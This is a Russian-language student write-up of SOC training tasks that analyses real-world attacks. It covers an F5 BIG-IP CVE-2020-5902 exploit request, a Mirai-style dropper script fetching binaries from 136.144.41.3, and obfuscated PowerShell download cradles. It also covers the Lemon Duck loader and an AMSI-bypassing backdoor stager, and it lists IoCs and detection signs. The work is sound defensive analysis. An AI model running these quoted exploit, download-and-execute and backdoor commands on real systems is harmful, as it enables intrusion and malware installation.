# INT-1 - Макаров Дмитрий Владиславович. Мониторинг ИБ. Работа специалиста SOC
[toc]
## Task 1
**Дан следующий HTTP-запрос:**
```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http%253A%252F%252F136.144.41.3%252Bigipdmcdmsklcmk%252ohsitsvegawellrip.sh+%253B+chmod+777+ohsitsvegawellrip.sh+%253B+sh+ohsitsvegawellrip.sh+%253B+wget+https%253A%252F%252Fhttps:%252%252iplogger.org%2522FGVP5 HTTP/1.1
Host: 10.27.243.60
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
```
**Краткое описание запроса:**
1. Имеется HTTP-запрос с методом `GET`;
2. Запрос отправляется к `tmui`. Traffic Management User Interface (TMUI) - это веб-интерфейс.
3. Версия `HTTP/1.1`;
4. Далее следуют заголовки:
- `Host` - IP, которому отпраляется запрос;
- `Connection: keep-alive` - позволяет отправителю подсказать о том, как соединение может быть использовано повторно для нескольких запросов;
- `Accept-Encoding: gzip, deflate` - HTTP-заголовок запроса указывает кодировку содержимого (обычно алгоритм сжатия), которую может понять клиент. В данном случае ипользуются `gzip` - формат сжатия, использующий кодировку Lempel-Ziv (LZ77) с 32-битным CRC и `deflate` - формат сжатия, который использует структуру zlib с алгоритмом сжатия deflate;
- `Accept: */*` - обозначает любой MIME-тип;
- `User-Agent: python-requests/2.25.1` - это строка с характеристиками, по которым сервера и сетевые узлы могут определить тип приложения, операционную систему, производителя и/или версию пользовательского агента. В данном случае это означает запрос от `python-requests/2.25.1`.
### 1. Что происходит?
Видим, что URL необходимо раскодировать. Находим в интеренете URL декодер
---

---
**URL** стал более читаем.
Первым делом обратим внимание на то, к кому отправляется запрос. **TMUI** известен тем, что в нём существует узявимость [**CVE-2020-5902**](https://www.ptsecurity.com/ru-ru/research/threatscape/pt-2020-04/). Она позволяет неавторизованному злоумышленнику, действующему удаленно, выполнить вредоносный код в системе, получить доступ к конфиденциальной информации или перехватить трафик, а также осуществить атаки с сервера, где расположен **TMUI**, на другие ресурсы внутренней сети атакуемой компании. Подробную информацию по тестированию можно найти на [Хакере](https://xakep.ru/2020/08/12/f5-big-ip-rce/).
:::info
:information_source: Интересный факт - **первым**, кто обнаружил уязвимость был **Михаил Ключников** из **Positive Technologies**.
:::
Также можно заметить файл `login.jsp` с раcширением `.jsp`. JSP (JavaServer Pages) — технология, позволяющая веб-разработчикам создавать содержимое, которое имеет как статические, так и динамические компоненты. Сначала отправляется запрос на открытие `login.jsp` файла, но затем идёт подмена на `tmshCmd.jsp`. Через уязвимость в `jsp` приложении, по сути выполняется **bash** команда.
Вероятнее всего проиходит атака.
### 2. Признаки того, что происходит атака.
Пользуясь этой уязвимостью злоумышленники (вероятнее всего это злоумышленники) пытаются:
1. Загрузить скрипт с сайта `http://136.144.41.3/Bigipdmcdmsklcmk/ohsitsvegawellrip.sh`
2. Дать файлу права 777 на **RWX** всем на загруженный файл
3. Выполнить скрипт `sh+ohsitsvegawellrip.sh`
4. Залогировать обращение через `iplogger`, чтобы видеть список серверов, которые получилось взломать
Код написан на **Python** с использованием библиотеки **Requests**, и с помощью запроса он пытается совершить то, что передал в **URL**.
IP-адрес, с которого выполняется загрузка скрипта вызывает подозрение. Особенно вызывает подозрение, что используется **не доменное имя**, а именнно **IP**.
---

---
По данным, найденным на [app.any.run](https://app.any.run/tasks/ccdbfbe3-b790-4c40-8d7b-4a0f9a8399c2/) скрипт имеет подозрительную активность. Впервые он был обнаружен не позднее **4 июля 2021 года**.
Скрипт имеет следующую **Mitre ATT&CK Matrix**
---

---
После непродолжительных поисков был обнаружен сам скрипт `ohsitsvegawellrip.sh`, где видно множество **curl** запросов к `136.144.41.3`. Вероятно таким образом загружается **payload**.
```
HEX
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.x86; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.x86; cat KKveTTgaAAsecNNaaaa.x86 > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.mips; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.mips; cat KKveTTgaAAsecNNaaaa.mips > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.mpsl; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.mpsl; cat KKveTTgaAAsecNNaaaa.mpsl > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm; cat KKveTTgaAAsecNNaaaa.arm > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm5; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm5; cat KKveTTgaAAsecNNaaaa.arm5 > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm6; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm6; cat KKveTTgaAAsecNNaaaa.arm6 > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm7; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arm7; cat KKveTTgaAAsecNNaaaa.arm7 > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.ppc; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.ppc; cat KKveTTgaAAsecNNaaaa.ppc > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.m68k; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.m68k; cat KKveTTgaAAsecNNaaaa.m68k > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.sh4; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.sh4; cat KKveTTgaAAsecNNaaaa.sh4 > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.spc; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.spc; cat KKveTTgaAAsecNNaaaa.spc > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arc; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.arc; cat KKveTTgaAAsecNNaaaa.arc > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.x86_64; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.x86_64; cat KKveTTgaAAsecNNaaaa.x86_64 > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.i686; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.i686; cat KKveTTgaAAsecNNaaaa.i686 > loudscream; chmod +x *; ./loudscream linear
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.i486; curl -O http://136.144.41.3/LINEARcndkjncjkd/KKveTTgaAAsecNNaaaa.i486; cat KKveTTgaAAsecNNaaaa.i486 > loudscream; chmod +x *; ./loudscream linear
```
Вредоносность скрипта подтверждает анализ в **VirusTotal**.
---

---
### 3. Indicators of Compromise (IoС).
1. URL: `http://136.144.41.3/Bigipdmcdmsklcmk/ohsitsvegawellrip.sh`
2. URL: `http://213.202.230.64/ohsitsvegawellrip.sh`
3. URL: `http://73.249.41.78/ohsitsvegawellrip.sh`
4. Probable Creator: `136.144.41.3`
5. File: `ohsitsvegawellrip.sh`
6. URL: `https://iplogger.org/2FGVP5`
Также выяснилось, что скрипт используется в [ботнете](https://github.com/saintly2k/katana/blob/main/build.sh) [**Katana**](https://github.com/joemamamamamaasd/joemmama/blob/dc22abec208ba3c4f6188bee33e915c775b4434f/katanastuff/payload.py).
На [**Гитхабе**](https://github.com/search?p=1&q=ohsitsvegawellrip.sh&type=Code) можно посмотреть, где в целом встречается скрипт.
### 4. Каким образом можно удостовериться в том, что атака успешна.
1. Увидеть активность скрипта с помощью системы логов и событий.
2. Проанализировать трафик в **Wireshark**, увидев множество запросов и ответов по протоколу **http**.
## Task 2
Дан следующий скриншот. На нём частично изображены детали события 800 Powershell из журнала аудита.
---

---
Можно заметить, что был исполнен какой-то shell-скрипт. Есть подозрение, что команда, которая исполнила скрипт была обфусцирована. Обфускация или запутывание кода — приведение исходного кода или исполняемого кода программы к виду, сохраняющему её функциональность, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции.
### 1. Что подозрительного в событии?
Итак, на вид явные признаки обфускации Powershell команды **Invoke-Expression**.
Сама по себе обфускация вызывает подозрения. По всей видимости применён **метод перетановки** для запутывания исполнения команды.
Так же бросается в глаза явное использование шестнадцатиричного кодирования в верхней части события.
```
27 2c 27 2f 79 27 29 2c 27 6b 27 29 2c 28 22 7b 31 7d 7b 30 7d 22 20 20 2d 66 20 27 75 72 27 2c 27 69 6e 79 27 29 28 22 7b 30 7d 7b 31 7d 22 2d 66 20 27 70 64 27 2c 27 75 7a 27 29 29 29
```
Проведём декодирование этой стоки.
---

---
Видим, что это была кодированная обфусцированная команда, которая изображена ниже в событии.
Далее проведём деобфускацию команды. Для этого используем готовые решения из [открытых источников](https://github.com/lasq88/deobfuscate/).
Получим следующую команду.
`Invoke-Expression(new-object Net.WebClient).DownloadString.Invoke("https://tinyurl.com/y7ukpduz")
`
- Invoke-Expression обрабатывает или выполняет заданную строку в качестве команды и возвращает результаты выражения или команды
- Создаётся новый объект. Далее используется DownloadString, чтобы получить данные по URL.
Большое подозрение здесь вызывает использования сервия сокращения URL tinyurl.
Перейдём по URL `https://tinyurl.com/y7ukpduz`. Нас сразу же перенаправляют на `http://technoverseblog.com/invoice.txt`.
---

---
Содержание `invoice.txt`:
`powershell.exe -NoP Write-Host "I am holding all your files hostage until you pay me FIVE BITCOINS. Contact me at slayer@XUZ.com"`
PS-скрипт должен вывести сообщение на экране. В сообщении открыто требуется перевести 5 биткоинов. Подозрения оказались оправданы. На вид явное вымогательство.
### 2. С какой целью реализовано?
Обфускация проводилась, чтобы затруднить понимание того, что выпоняет PowerShell-команда.
Помимо обфускации был применёно шестадцатиричное кодирование, чтобы ещё больше усложнить анализ.
Непосредственно скрипт должен был высвести сообщение о вымагательстве на компьютере жертвы.
Для обфускации вероятнее всего была использована утилита из открытых источников [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation).
---

---
## Task 3
В файле task3.evtx содержатся события журнала аудита Windows.
---

---
Так как с помощью стандартной утилиты Microsoft-Windows-Sysmon не удалось найти описание для идентификатора событий, мы установили стороннюю утилиту sysmon из [github](https://github.com/ion-storm/sysmon-config) с конфигурацией ATT&CK.
---

---
### 1. Что в этих событиях является подозрительным?
1. Самым подозрительным является то, что с помощью Microsoft-Windows-Sysmon не удалось составить описание. Sysmon несильно исправил эту ситуацию.
2. Все 53 события прошли за всего 39 секунд
3. Большая часть событий с `EVENT ID 18` `PipeEvent (Pipe Connected)` - означают установление соединение о именнованому каналу.
---

---

---
4. В то же время предшествующие им события `RawAccessRead` с `EVENT ID 9` определяют, когда процесс выполняет операции чтения с диска, используя обозначение `\\.\`. Этот метод часто используется вредоносными программами для извлечения данных из файлов, которые заблокированы для чтения, а также для того, чтобы избежать инструментов аудита доступа к файлам. Событие указывает на исходный процесс и целевое устройство.
---

---
### 2. Какие признаки указанных событий на это указывают?
1. Один из процессов с `EVENT ID 1` `Process Create` исполняет закодированный скрипт, вероятнее всего с кодировкой Base64
---

---
Проверим
---

---
`IEX (New-Object System.Net.WebClient).DownloadString('http://omni-consumer-pr0ducts.tk/favicon.ico');`
---
Видим скрипт, который очень похож на тот, что был в первом задании. Invoke-Expression обрабатывает или выполняет заданную строку в качестве команды и возвращает результаты выражения или команды. Затем создаётся новый объект. Далее используется DownloadString, чтобы получить данные по URL.
2. В раскодированном скрипте видим крайне подозрительный URL http://omni-consumer-pr0ducts.tk/favicon.ico. Информацию о нём в открытых источниках не найти. Скорее всего он намеренно маскируется под тот, что принадлежит компании Omni Consumer Products.
3. Сразу два подозрительных события с conhost: во-первых, в одном из событий идёт обращение к `C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf` - явная попытка сымитировать хост окна консоли, во-вторых, в одном из событий идёт обращение к пространству ядра с параметрами `0xffffffff -ForceV1` через консольное приложение conhost.exe.
---

---

---
4. Создаётся шаблон в `WINWORD.EXE`.
---

---
5. Создаюся PowerShell-скрипты.
---

---

---
### 3. IoC.
1. URL: `http://omni-consumer-pr0ducts.tk/favicon.ico`
2. PS-script: `PSScriptPolicyTest_uadnldzb.3ew.ps1`
3. PS-script: `PSScriptPolicyTest_0n3jzel4.32z.psm1`
4. File: `employee termination letter.docx`
### 4. Cуть подозрительных действий в системе, зафиксированных в этом журнале.
Суть сводится к следующему. Пользователь открывает файл `employee termination letter.docx` под видом тектового документа, однако файл запускает цепочку изменений в системных файлах, а затем произодит подключение к удалённому серверу по `http://omni-consumer-pr0ducts.tk/favicon.ico`, после чего загружаются и исполняются вредоносные файлы.
## Task 4
В файле event.json приведено корреляционное событие на основе событий журнала аудита Windows.
---

---
### 1. Что произошло на узле?
1. По событию сразу можно понять, что MaxPatrol 10 определил его, как атаку и то, что она прошла успешно
```
...
"category.generic": "Attack",
...
"status": "success",
...
```
2. "Атака" произошла путём выполнения вредоносного скрипта (`take_process_data.ps1"`) через PowerShell. Атака произошла на узле `larteshina.plat.form`.
3. Выполненный скрипт представлен в параметре object.process.cmdline.
```
"object.process.cmdline": "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdA...AOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==
```
- nop - `NoProfile` - Не загружает профиль PowerShell;
- w - `WindowStyle <Window Style>` - Задает стиль окна для сеанса. Допустимые значения: Normal, Minimized, Maximized и Hidden;
- e - `EncodedCommand <Base64EncodedCommand>` - Принимает строковую версию команды в кодировке Base 64. Параметр используется для отправки в PowerShell команд, требующих сложных кавычек или фигурных скобок. Строка должна быть отформатирована с помощью кодировки символов UTF-16LE.
Декодируем `Base64EncodedCommand`:
---

---
Приведём в читабельный вид
---

---
Видим, что в декодированная команда представляет из себя скрипт. Похожий скрипт представлен в [открытом источнике](https://www.huntress.com/blog/from-powershell-to-payload-an-analysis-of-weaponized-malware).
### 2. С помощью чего это удалось добиться?
Что делает скрипт, который мы обнаружили:
1. Пытается любым способом запустить PowerShell
```
if([IntPtr]::Size -eq 4)
{
$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'
}
else
{
$b='powershell.exe'
};
```
2. Инициализируется новый экземпляр класса ProcessStartInfo и задается имя файла - `powershell.exe`
3. `$s.Arguments=...` - задает набор аргументов командной строки, используемых при запуске приложения
4. `$s.UseShellExecute=$false` - задает значение, позволяющее определить, что не нужно использовать оболочку операционной системы для запуска процесса
5. `$s.RedirectStandardOutput=$true` - задаёт значение для записи текстовых выходных данных приложения в поток StandardOutput
6. `$s.WindowStyle='Hidden'` - скрипт выполняется в скрытом режиме
7. `$s.CreateNoWindow=$true` - задает значение того, что нужно запустить процесс в новом окне.
Остановимся поподробнее на свойстве `$s.Arguments=...`. Видно, что аргументом скрипта является команда, однако она обфусцирована методом discatenate, а также снова закодирована методом Base64 и сжата с помощью GunZip.
Провёдём полное декодирование строки. Сперва, для экономии времени, вручную деобфусцируем discatenate-метод. Затем воспользуемся CyberChef для декодирования и декомпресса строки.
---

---
Получаем следующий скрипт, который состоит из нескольких частей.
---

---
1. Первая функция, которую мы видим в этом коде PowerShell, называется urg. Все эти имена функций и переменных кажутся случайными и запутанными, но мы можем понять их смысл, прочитав определение функции.
---

---
Функция `urg` принимает два параметра. Он использует метод «рефлексивного» поиска адреса вызовов **Win32 API**, так что **PowerShell** имеет возможность запускать эти основные внутренние процедуры, известные операционным системам более низкого уровня. В текущем контексте он ищет место, где может быть загружена `System.dll`, и использует его для поиска нужного имени функции в других библиотеках **DLL**, которые он затем может выполнить. Имя **DLL**, частью которой является эта функция, и сама вызываемая функция **Win32 API** — это два значения, передаваемые в качестве параметров этой функции `urg`. Все это делается с помощью «рефлексии», способности, которая позволяет **PowerShell** выполнять некоторую самоанализ и поиск уже определенных процедур.
В конечном итоге это дает **PowerShell** гораздо больше возможностей. Получение доступа для запуска функций **API Win32** позволяет ему выполнять такие действия, как выделение памяти, копирование и перемещение памяти или другие специфические вещи, которые мы увидим в коде очень скоро.
:::info
Для нашего собственного понимания мы должны мысленно переименовать эту функцию во что-то вроде:
```
function call_win32_api_function {
Param ($function_name, $arguments)
```
:::
2. До сих пор то, что мы знали как функцию urg, добавляло часть этой новой возможности. Если хакеры хотят использовать этот прием для вызова функций Win32 API в PowerShell, им также потребуется функциональность для работы с «делегатами». Следующая функция, svcU, завершает «шаблонный» код, необходимый для этого.
---

---
Как вы можете видеть, это переполнение внутренними потребностями **Windows** и ерундой, которые делают эту работу. Мы не будем делать тонну глубокого анализа этого кода, объясняя каждую строку и переменную, но теперь эта функция предоставляет функциональные возможности для интерпретации параметров функции **Win32 API** и возвращаемых значений.
Поскольку наш хакер создает функциональность, позволяющую вызывать функции **Win32 API** с помощью **PowerShell**, им нужна была эта процедура `urg`, чтобы иметь возможность находить и определять местоположение функций, и эта процедура `svcU`, чтобы предоставлять параметры и понимать возвращаемые значения функции.
Имея эти две функции, код теперь имеет примитивы для свободного вызова любой функции **Win32 API**, которую он пожелает. Далее мы увидим это в действии.
3. Следуя этим определениям функций, этот фрагмент кода PowerShell определяет массив байтов, извлеченный путем декодирования более закодированного кода Base64.
---
```
[Byte[]]$mkuA = [System.Convert]::FromBase64String('/EiD5PDozAAAAEF.../V')
```
---
К сожалению, декодирование этой строки дает нам много непечатаемых символов.
---

---
Однако, мы можем использовать shellen для дизассемблирования шелл-кода, но сначала нам нужно превратить декодированные в base64 байты в шестнадцатеричную строку.
---

---
Теперь, когда у нас есть шелл-код в виде шестнадцатеричной строки, мы можем вставить его в **shellen**, чтобы увидеть ассемблерный код.
---

---
Примерно на полпути вниз есть несколько инструкций, которые выделяются.
---

---
Подобные инструкции можно обнаружить в нескольких проектах и утилитах, таких как
1. [Metasploit-framework](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm)
2. [The Backdoor Factory](https://github.com/secretsquirrel/the-backdoor-factory/blob/master/asm/src/loadliba_reverse_tcp.asm)
3. [nbtool](https://github.com/iagox86/nbtool/blob/master/samples/shellcode-win32/hash.py)
Анализ через [cuckoo.cert.ee](https://cuckoo.cert.ee/) показал, что скрипт является крайне подозрительным и детектируется [многими антивирусами](https://cuckoo.cert.ee/analysis/3473295/summary/).
---

---
Наконец, дизассемблированный код очень похож на один из [payload для powershell](https://gist.github.com/jdferrell3/4db966da06f4fa77816a54d802aca0f8).
---

---
Атака оказалась успешна благодаря вышеперечисленным методам деобфускации и кодирования. Корреляционное правило сработало благодаря параметру `-w hidden`.
### 3. Если есть, то укажите адрес C&C и порт.
Для того чтобы скрыться от анализа, был истользован стейджер **emp3r0r**, следовательно, с2-адреса - **нет**. Стейджер выступает как проброс портов для того чтобы был использован метерпретер.
## Task 5
В **SOC** одной компании обратился пользователь, обеспокоенный странными процессами **Powershell**, которые он обнаружил в диспетчере задач. В ходе расследования специалистам удалось получить информацию об одном из подозрительных **PS-скриптов**, выполнявшихся на его компьютере. Ниже приведён данный скрипт.
```
powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient).'DownloadData'($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?ipc_20201126?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
```
Приведём собитие к читабельному виду
---

---
Опишем некоторые функции скрипта:
1. `Security.Cryptography.RSAParameters` - представляет стандартные параметры для алгоритма **RSA**.
2. `RSAParameters.Modulus` - представляет параметр Modulus для алгоритма **RSA**.
3. `RSAParameters.Exponent` - редставляет параметр Exponent для алгоритма **RSA**.
4. `Security.Cryptography.RSACryptoServiceProvider` - выполняет асимметричное шифрование и расшифровку с помощью реализации алгоритма **RSA**, предоставляемого поставщиком служб шифрования (**CSP**). Этот класс не наследуется.
5. `ImportParameters` - импортирует заданный **RSAParameters**.
### 1. К какому семейству принадлежит данное ВПО?
Проведя поиск скрипта в открытых источниках, было выявлено, что им является криптомайнер **Lemon Duck**. Это вредоносная программа для крипто-майнинга, которая нацелена на зараженные компьютерные ресурсы для майнинга криптовалюты **Monero**. Эта вредоносная программа обладает множеством возможностей и запускает свою полезную нагрузку в основном в памяти, что делает ее незаметной на зараженных машинах. Заражение вредоносной программой без файлов происходит в основном с использованием модулей **PowerShell**. Фишинговые электронные письма с вредоносным документом, уязвимость удаленного выполнения кода **SMB** `(CVE-2017-0144)` и атаки методом перебора использовались для распространения внутри сети, в то время как вредоносный документ использовался для заражения внешних жертв. Они также используют некоторые инструменты с открытым исходным кодом, такие как **XMRig**, **Ping Castle**, **PowerSploit**, для достижения своих целей.
**IoC:**
- Hashes
1. `if.bin` 8c4fba3df81475d075c535deae2cd373
2. `kr.bin` c95f97fccb0bd80fa524cf2bfb0390a8
3. `m6.exe` 4094140d07826334c345f8dc392d8fe3
4. `mimi.dat` a66953b8a3eeee7d5057ddf80b8be962
- DNS request
1. `t.bb3u9.com`
2. `t.pp6r1.com`
3. `p.b69kq.com`
4. `d.u78wjdu.com`
- IP connections
1. `138.68.251.24`
2. `138.68.186.90`
3. `88.214.207.96`
4. `45.63.34.251`
5. `138.68.183.180`
6. `176.58.99.231`
### 2. Перечислите имена всех файлов, которые могли быть загружены на компьютер с помощью данного скрипта.
Из-за постоянной эволюции ВПО часть из представленных индикаторов может стать неактуальной, однако чаще всего ффайлы имеют следующие имена:
- M6.bin
- M6.bin.ori
- M6G.bin
- M6.bin.exe
- M[0-9][A-Z].bin
- mimi.dat (mimikatz)
Например, файлы с такими именами были загружены в разборе на [netbytesec](https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html).
---

---
## Task 6
Некий пользователь решил скачать архив с "супер крутой игрой". Внутри лежал **bat-файл**, который пользователь спокойно запустил.
В файле Log.txt приведена выдержка из событий журнала аудита Windows, связанных с указанными действиями.
---

---
Приведём лог в читабельный вид
---

---
### 1. Что же на самом деле произошло на компьтере пользователя.
1. Пользователь vpupkin скачал архив `super-cool-game.zip`.
---

---
2. Пользователь запустил bat-файл `l1.bat`
---

---

---
3. Вместе с этим запускается **PowerShell**. Видим, что в PS передаётся закодированная команда
---

---

---
Команда передаётся со следующими ключами запуска:
- `-nol` - NoLogo
- `-nop` - NoProfile
- `-ep` - ExecutionPolicy Bypass
- `-sta` - 1 stream execution
- `-w 1` - Window style hidden
- `-enc` - Encoded by base64
Можем предположить, что команда является бэкдором. Декодируем команду:
---

---
Получили следующий скрипт:
```
If($PSVersiONTaBle.PSVerSIOn.MaJOr -GE 3)
{
$REf=[ReF].ASsembly.GeTTYPE('System.Management.Automation.Amsi'+'Utils');
$REf.GEtFieLD('amsiInitF'+'ailed','NonPublic,Static').SeTVALuE($nuLl,$TruE);
[System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic').GetValue($null),0);
};
[SYsTeM.NEt.SERVicEPOINtMAnAGEr]::EXPEcT100ConTinUE=0;
$5b316=NeW-ObJEct SYSTeM.Net.WEBCLiENT;$u='Mozilla/5.0 (Windows NT 6.1;
WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser=$([TexT.EncodINg]::UNicODe.GeTStRINg([CoNvERt]::FromBaSe64STrIng('aAB0AHQAcAA6AC8ALwAxADcAMgAuADEANgAuADIAMgAyAC4AMQAxADoANAAzADIAMQA=')));
$t='/admin/get.php';$5b316.HeADerS.ADD('User-Agent',$u);$5B316.Proxy=[SYsTEm.Net.WEBREQUeST]::DeFaulTWEbPROXy;$5B316.PROxy.CrEDenTIAlS = [SysTEM.NEt.CredEntIAlCache]::DEfAULTNETWorkCREDEntIalS;
$Script:Proxy = $5b316.Proxy;
$K=[SYsteM.TEXt.EncOdiNG]::ASCII.GETByteS('bk]2()mgP!0@sf3VlXa,SIG|%8on<rD#');
$R={$D,$K=$Args;
$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;
$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];
$_-bxor$S[($S[$I]+$S[$H])%256]}};$5B316.HEAdeRS.ADd("Cookie","azkGFw=ly2r9xiUrZfcSUzwyVSFZZdZowM=");
$DatA=$5b316.DoWNlOaDDaTA($ser+$T);$Iv=$DAta[0..3];$DAtA=$daTa[4..$DAtA.LeNgtH];
-jOiN[CHar[]](& $R $Data ($IV+$K))|IEX
```
Судя по синтаксису, скрипт выполняет проксирование трафика.
Декодируем строчку `$ser=...`
---

---
Получили **ip-адрес** локальной сети.
`http://172.16.222.11:4321`
4. Выполненный скрипт ставил своей целью получение удалённого доступа через бэкдор
---

---
5. Время создание **bat-файла** было изменено
---

---
### 2.Необходимые подробности и признаки, по которым можно выявлять подобную активность
1. Почти всегда должен вызывать подозрение тот факт, что **PowerShell** скрипт закодирован и обфусцирован.
2. Скрипт запущен с ключами `-nop`, `-nol`, `-enc`, который обычно используется внутри вредоносных скриптов.
3. Признаком является и тот факт, что время создания файла было изменено.
### 3.Необходимые данные для осуществления мер по реагированию.
- Изменение времени создания файла
```
{"text":"2022-03-30 19:18:40.000", "Name":"CreationUtcTime"},
{"text":"2022-03-31 02:24:47.308", "Name":"PreviousCreationUtcTime"}
```
- Использование **PS-скриптов** со следующими ключами
- `-no`
- `-nop`
- `-ep`
- `-w 1`
- `-enc`
- Использование командлетов
- `Invoke-Expression` вычисляет или запускает указанную строку как команду и возвращает результаты выражения или команды;
- `Invoke-Command` - выполняет команды на локальном или удаленном компьютере и возвращает все выходные данные команд, включая ошибки.
- Файлы формата bat, в частности `l1.bat`
- А также всевозможные **IoC**.